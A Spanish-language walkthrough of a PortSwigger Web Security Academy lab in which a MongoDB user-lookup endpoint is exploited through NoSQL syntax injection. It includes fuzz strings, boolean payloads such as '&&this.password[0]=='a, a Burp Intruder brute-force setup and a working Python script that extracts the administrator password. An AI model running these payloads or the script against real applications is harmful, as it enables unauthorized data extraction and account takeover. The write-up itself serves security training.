NoSQLI Lab 3
Skills
- Exploiting NoSQL injection to extract data
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La funcionalidad de búsqueda de usuarios de este laboratorio
está alimentada por una base de datos MongoDB
NoSQL, la cual es vulnerable a inyección NoSQL
. Para resolver
el laboratorio
, debemos extraer
la contraseña
del usuario administrador
e iniciar sesión
en su cuenta. Podemos iniciar sesión
en nuestra propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Pulsamos sobre My account
y nos logueamos
con las credenciales wiener:peter
Si nos abrimos la extensión Logger ++
de Burpsuite
vemos todas las peticiones que se han realizado
Vemos que se hace una petición
a un archivo JavaScript
. En la respuesta podemos ver como hay un objeto user
con las propiedades email
y role
Cuando nosotros iniciamos sesión
se envían al servidor
los campos username
y password
, así que puede ser probable que el objeto user
tenga estas dos propiedades
también
Vemos también que se envía esta petición
, la cual es la encargada de obtener los datos
que posteriormente vemos en la web
Esto puede ser una forma de enumerar usuarios
, para ello enviamos la petición
al Intruder
y seleccionamos
el nombre de usuario
Como payload
vamos a usar este diccionario
https://portswigger.net/web-security/authentication/auth-lab-usernames
Nos dirigimos a la pestaña Settings
y creamos
una expresión regular
para saber que usuarios
son válidos
, para ello pulsamos en Add
Seleccionamos
el texto
Efectuamos
el ataque
y obtenemos
dos usuarios válidos carlos
y administrator
Enumeramos datos
del usuario carlos
y del usuario administrator
Hay dos tipos
de inyección NoSQL
Syntax Injection
- Ocurre cuando se puede romper lasintaxis
de laconsulta NoSQL
, lo que le permiteinyectar
su propiacarga útil
. Lametodología
es similar a la utilizada en lainyección SQL
. Sin embargo, lanaturaleza
del ataque varía significativamente, ya que lasbases de datos NoSQL
utilizan una variedad delenguajes de consulta
,tipos de sintaxis de consulta
y diferentesestructuras de datos
Operator Injection
- Ocurre cuando puedes usaroperadores de consulta NoSQL
paramanipular
consultas
En este laboratorio vamos a explotar una Syntax Injection
. Es posible detectar vulnerabilidades de inyección NoSQL
al intentar romper la sintaxis
de la consulta
. Para ello, debemos probar cada input
enviando cadenas de datos fuzz
y caracteres especiales
que desencadenen un error de base de datos
o algún otro comportamiento detectable si la aplicación
no los sanitiza
o filtra
adecuadamente. Debemos usar caracteres especiales
y cadenas de fuzz
enfocadas al lenguaje de programación
que use la API de la base de datos
, de lo contrario, debemos utilizar una amplia variedad de cadenas de fuzz
para cubrir varios lenguajes de API
. En este caso, esta es una cadena bastante completa
1
2
3
'"`{
;$Foo}
$Foo \xYZ
En el caso de que tengamos que introducir el payload
en una URL
, este debe estar encodeado
1
%27%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
Podemos codificar estas cadenas usando el Decoder
de Burp Suite
o usando la extensión Hackvertor
. Con Hackvertor
tenemos varias formas de URL encoding
.
urlencode
- Esta función realiza unacodificación estándar de URL
. En este caso, se codifican todos loscaracteres especiales
en laURL
y se reemplazan por su representación en formatohexadecimal
precedida por un%
. Sin embargo, un detalle importante es que losespacios
se codifican como+
urlencode_all
- Esta función es másexhaustiva
en su enfoque. Codifica todos loscaracteres
, incluyendo losno imprimibles
yespeciales
, que normalmente no se codificarían en unaURL estándar
urlencode_not_plus
- Esta función es similar a la funciónurlencode
, pero con una diferencia clave, no codifica losespacios
como+
, sino que los mantiene como%20
, que es larepresentación estándar
de un espacio en lasURL
burp_urlencode
- Esta función realiza unacodificación estándar de URL
como la funciónurlencode
, pero optimizada paraBurp Suite
para evitar problemas conproxies
yherramientas de seguridad
Las vulnerabilidades de inyección NoSQL
pueden ocurrir en una variedad de contextos
y es necesario adaptar las cadenas de fuzzing
en consecuencia. De lo contrario, es posible que se produzcan errores de validación
que hagan que la aplicación
nunca ejecute la consulta
. El payload
anterior está preparado para ser inyectado en una URL
, por lo que la cadena está URL encodeada
. En algunas aplicaciones, es posible que debamos inyectar el payload
a través de un JSON
. En ese caso, deberíamos adaptar el payload
, lo cual daría esta cadena como resultado
1
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000`
Para determinar qué caracteres
interpreta la aplicación
como sintaxis
, podemos probar a inyectar caracteres individuales
. Si añadimos una comilla doble "
vemos que no ocurre nada
Sin embargo, al añadir
una comilla simple '
provocamos un error
, lo cual quiere decir que estamos interfiriendo con la query
Si escapamos
la comilla simple \'
, la consulta
ya no provoca
el error
Después de detectar una vulnerabilidad
, el siguiente paso es determinar si se pueden influir en las condiciones booleanas
mediante la sintaxis NoSQL
. Para probar esto, debemos enviar dos solicitudes, una con una condición falsa
como '&&'1'=='2
y otra con una condición verdadera
como '&&'1'=='1
. Primero vamos a probar con la condición falsa
, para ello vamos a tener que urlencodear
el payload
con cualquier codificación que no sea la de urlencode_not_plus
. Vemos que al añadir la condición falsa
no nos encuentra el usuario
Al añadir
la condición verdadera
vemos que si nos devuelve
la información
del usuario
. Esto sugiere que la condición falsa
afecta la lógica de la consulta
, pero la condición verdadera
no y, por lo tanto, confirmamos
la existencia
de una Syntax Injection
Ahora que hemos identificado que podemos influir en las condiciones booleanas
, podemos intentar anular las condiciones existentes
para aprovechar la vulnerabilidad
. El siguiente payload
que vamos a utilizar es '&&this.email[0]=='w
, en este caso estamos accediendo al objeto wiener
y listando su email
que es wiener@normal-user.net
Usamos este otro payload '&&this.password[0]=='p
para verificar que el campo password
existe y efectivamente así es
Listamos
la longitud
de la password
mediante este payload '&&this.password.length=='5
. Como la contraseña de wiener
es peter
y peter tiene cinco caracteres
no nos devuelve ningún error
Listamos
la longitud
de la password
del usuario administrator
y obtenemos
que es de ocho caracteres
Usamos este otro payload '&&this.password[0]=='a
, mandamos la petición
al Intruder
, seleccionamos como tipo de ataque Cluster Bomb
y marcamos
las dos posiciones
que vamos a bruteforcear
El primer payload
va a ser de tipo numérico
y va a ir desde el 0 al 7, haciendo un total de 8
de longitud
Para el segundo payload
vamos a utilizar todos los caracteres imprimibles
de la librería string
de python
1
2
3
4
5
6
7
8
# python
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Vamos a ir iterando
para eliminar los caracteres que se repiten
y vamos a hacer que se muestren uno debajo de otro
1
2
3
4
5
6
7
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
for char in characters:
print(char)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# python print_characters.py
0
1
2
3
4
5
6
7
8
9
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
Nos copiamos todo el output
del script
y lo pegamos como segundo payload
En la pestaña Settings
nos dirigimos a Grep - Extract
y pulsamos en Add
Señalamos administrator
porque si el carácter
es el correcto
nos devolverá
la información
del usuario administrator
Efectuamos el ataque de fuerza bruta
, primero debemos filtrar por Payload 1
y después por la expresión regular
que hemos creado
Otra alternativa es crearnos un script
en python
para bruteforcear
la contraseña
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, sys, string
from urllib.parse import quote
def def_handler(sig, frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
url = "https://0a2000950380a41281fb0c910055008d.web-security-academy.net/user/lookup?user=administrator"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(0, 8):
for character in characters:
payload = f"'%26%26this.password[{position}]=='{character}"
cookies = {
'session': "Ax5WfTrCYTU0R4cuVSpGOyVe3NXxHEPZ",
}
p1.status(payload)
r = requests.get(url + payload, cookies=cookies)
if "administrator" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
la contraseña
del usuario administrator
1
2
3
# python3 nosqli.py
[./......] Fuerza bruta: '%26%26this.password[7]=='e
[>] Output: egdmicre
Nos logueamos
con las credenciales administrator:egdmicre